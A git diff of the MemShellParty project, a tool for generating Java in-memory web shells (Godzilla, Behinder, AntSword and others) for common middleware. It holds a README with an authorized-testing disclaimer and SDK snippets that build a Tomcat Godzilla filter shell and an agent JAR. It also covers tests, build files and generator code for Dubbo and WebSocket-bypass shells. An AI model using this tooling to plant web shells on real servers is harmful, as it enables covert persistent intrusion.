||||
.retrieve()
|
||||
.toEntity(MAP_TYPE);
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigServersEndpoint() {
|
||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||
.uri("/api/config/servers")
|
||||
.retrieve()
|
||||
.toEntity(MAP_TYPE);
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List<String>> response = restClient.get()
|
||||
.uri("/api/config/packers")
|
||||
.retrieve()
|
||||
.toEntity(STRING_LIST_TYPE);
|
||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
||||
ResponseEntity<List<String>> response = restClient.get()
|
||||
.uri("/api/config/probe/response-body/servers")
|
||||
.retrieve()
|
||||
.toEntity(STRING_LIST_TYPE);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -8,13 +8,12 @@ import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.client.RestClient;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
@@ -26,17 +25,8 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
class MemShellGeneratorControllerTest {
|
||||
|
||||
@LocalServerPort
|
||||
private int port;
|
||||
|
||||
private RestClient restClient;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
restClient = RestClient.builder()
|
||||
.baseUrl("http://localhost:" + port)
|
||||
.build();
|
||||
}
|
||||
@Autowired
|
||||
TestRestTemplate restTemplate;
|
||||
|
||||
@Test
|
||||
void generateShell() {
|
||||
@@ -60,12 +50,9 @@ class MemShellGeneratorControllerTest {
|
||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||
shellToolConfigDTO.setHeaderValue("hello");
|
||||
request.setShellToolConfig(shellToolConfigDTO);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
||||
.uri("/api/memshell/generate")
|
||||
.body(request)
|
||||
.retrieve()
|
||||
.toEntity(MemShellGenerateResponse.class);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7,5 +7,5 @@ repositories {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||
}
|
||||
@@ -3,7 +3,7 @@ plugins {
|
||||
}
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||
publishToMavenCentral(true)
|
||||
signAllPublications()
|
||||
coordinates(
|
||||
"io.github.reajason",
|
||||
|
||||
@@ -9,16 +9,10 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.10.0"
|
||||
version = "2.3.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
dependsOn(":packer:publishToMavenCentral")
|
||||
dependsOn(":generator:publishToMavenCentral")
|
||||
}
|
||||
|
||||
tasks.register("publishAllToMavenLocal") {
|
||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||
dependsOn(":packer:publishToMavenLocal")
|
||||
dependsOn(":generator:publishToMavenLocal")
|
||||
}
|
||||
@@ -1,6 +1,11 @@
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
|
||||
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
||||
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||
<div align="center">
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
</div>
|
||||
|
||||
|
||||
<div align="center">
|
||||
@@ -12,54 +17,49 @@
|
||||
<div align="center">
|
||||
|
||||
[](https://t.me/memshell)
|
||||
[](https://party.mem.mk)
|
||||
[](https://party.memshell.news)
|
||||
</div>
|
||||
|
||||
> [!WARNING]
|
||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||
|
||||
> [!TIP]
|
||||
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
||||
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||
|
||||
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
||||
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||
|
||||
<p align="center">
|
||||
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
What you can learn or try from this project:
|
||||
|
||||
1. Learn to write java memshell for common middleware and frameworks.
|
||||
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Key Features
|
||||
|
||||
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
||||
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
||||
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
||||
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
||||
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
||||
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
||||
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Read Before Use
|
||||
### Online Preview
|
||||
|
||||
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
||||
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||
|
||||
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
||||
|
||||
### Online Site
|
||||
|
||||
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
||||
|
||||
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
||||
|
||||
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
||||
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||
|
||||
### Local Deployment (Recommended)
|
||||
|
||||
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
||||
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||
|
||||
After deploying with Docker, access http://127.0.0.1:8080
|
||||
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||
|
||||
```bash
|
||||
# Pull the latest image from Docker Hub
|
||||
@@ -68,14 +68,312 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
||||
# Pull the latest image from Github Container Registry
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||
|
||||
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
||||
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## Special Thanks
|
||||
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||
|
||||
```bash
|
||||
# Remove the previously deployed container
|
||||
docker rm -f memshell-party
|
||||
|
||||
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
### SDK Integration into Existing Tools
|
||||
|
||||
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||
|
||||
1. Add the dependency using Maven or Gradle:
|
||||
|
||||
```xml
|
||||
<!-- Maven Repo-->
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>1.7.0</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
```groovy
|
||||
// Gradle Repo
|
||||
implementation 'io.github.reajason:generator:1.7.0'
|
||||
```
|
||||
|
||||
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // Shrink bytecode size
|
||||
.debug(false) // Disable debug mode
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||
```
|
||||
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // Shrink bytecode size
|
||||
.debug(false) // Disable debug mode
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||
```
|
||||
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||
|
||||
## Compatibility
|
||||
|
||||
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||
|
||||
### Middleware and Frameworks
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
|
||||
### MemShell Functionality
|
||||
|
||||
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||
- [x] Command Execution
|
||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
### Packaging Methods
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] Native Deserialization(CB and CC)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||
- [ ] JNDI
|
||||
- [ ] JDBC Connection
|
||||
- [ ] Other common deserialization
|
||||
|
||||
## Local Build
|
||||
|
||||
### Building from Source Code
|
||||
|
||||
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||
|
||||
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||
|
||||
1. Clone the project using Git:
|
||||
```bash
|
||||
git clone https://github.com/ReaJason/MemShellParty.git
|
||||
```
|
||||
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||
```bash
|
||||
cd MemShellParty/web
|
||||
|
||||
bun install
|
||||
|
||||
bun run build
|
||||
```
|
||||
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
```
|
||||
|
||||
Alternatively, you can build a Docker container from the built artifacts:
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
docker buildx build -t memshell-party:latest . --load
|
||||
|
||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
```
|
||||
|
||||
### Building with Dockerfile Directly
|
||||
|
||||
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||
|
||||
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||
|
||||
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||
|
||||
```bash
|
||||
# Basic build (defaults to root path "/")
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.7.0 \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# Run the basic image, access at http://127.0.0.1:8080
|
||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# Build with custom access path (e.g., /memshell-party)
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.7.0 \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||
docker run -it -p 8080:8080 \
|
||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||
memshell-party:latest
|
||||
```
|
||||
|
||||
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||
|
||||
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||
|
||||
```text
|
||||
location /memshell-party {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_http_version 1.1;
|
||||
proxy_connect_timeout 3s;
|
||||
proxy_read_timeout 300s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_buffer_size 16k;
|
||||
proxy_buffers 8 64k;
|
||||
proxy_busy_buffers_size 128k;
|
||||
}
|
||||
```
|
||||
|
||||
## Contribute
|
||||
|
||||
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||
|
||||
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||
|
||||
## Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||
|
||||
### Let's start the party 🎉
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
plugins {
|
||||
id("java-library")
|
||||
id("java")
|
||||
alias(libs.plugins.lombok)
|
||||
id("maven-publish-convention")
|
||||
}
|
||||
@@ -29,21 +29,17 @@ tasks.test {
|
||||
dependencies {
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(project(":packer"))
|
||||
api(libs.byte.buddy)
|
||||
implementation(libs.byte.buddy)
|
||||
implementation(libs.asm.commons)
|
||||
implementation(libs.javax.websocket.api)
|
||||
implementation(libs.jakarta.websocket.client.api)
|
||||
implementation(libs.javax.servlet.api)
|
||||
implementation(libs.jakarta.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.tomcat.embed.core)
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.alibaba.dubbo)
|
||||
implementation(libs.apache.dubbo)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(libs.bcel)
|
||||
implementation(libs.jackson.databind)
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
|
||||
@@ -7,11 +7,9 @@ package com.reajason.javaweb;
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Jetty5 = "Jetty5";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String Resin2 = "Resin2";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
@@ -22,6 +20,4 @@ public class Server {
|
||||
public static final String SpringWebMvc = "SpringWebMvc";
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struts2 = "Struts2";
|
||||
public static final String Dubbo = "Dubbo";
|
||||
}
|
||||
|
||||
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
@@ -17,7 +14,6 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.Strings;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -63,27 +59,6 @@ public class MemShellGenerator {
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||
String interfaceName = packageName + ".I" + simpleName;
|
||||
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||
String urlPattern = injectorConfig.getUrlPattern();
|
||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||
|| StringUtils.isBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(interfaceName);
|
||||
}
|
||||
}
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
@@ -92,7 +67,7 @@ public class MemShellGenerator {
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
|
||||
@@ -8,8 +8,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||
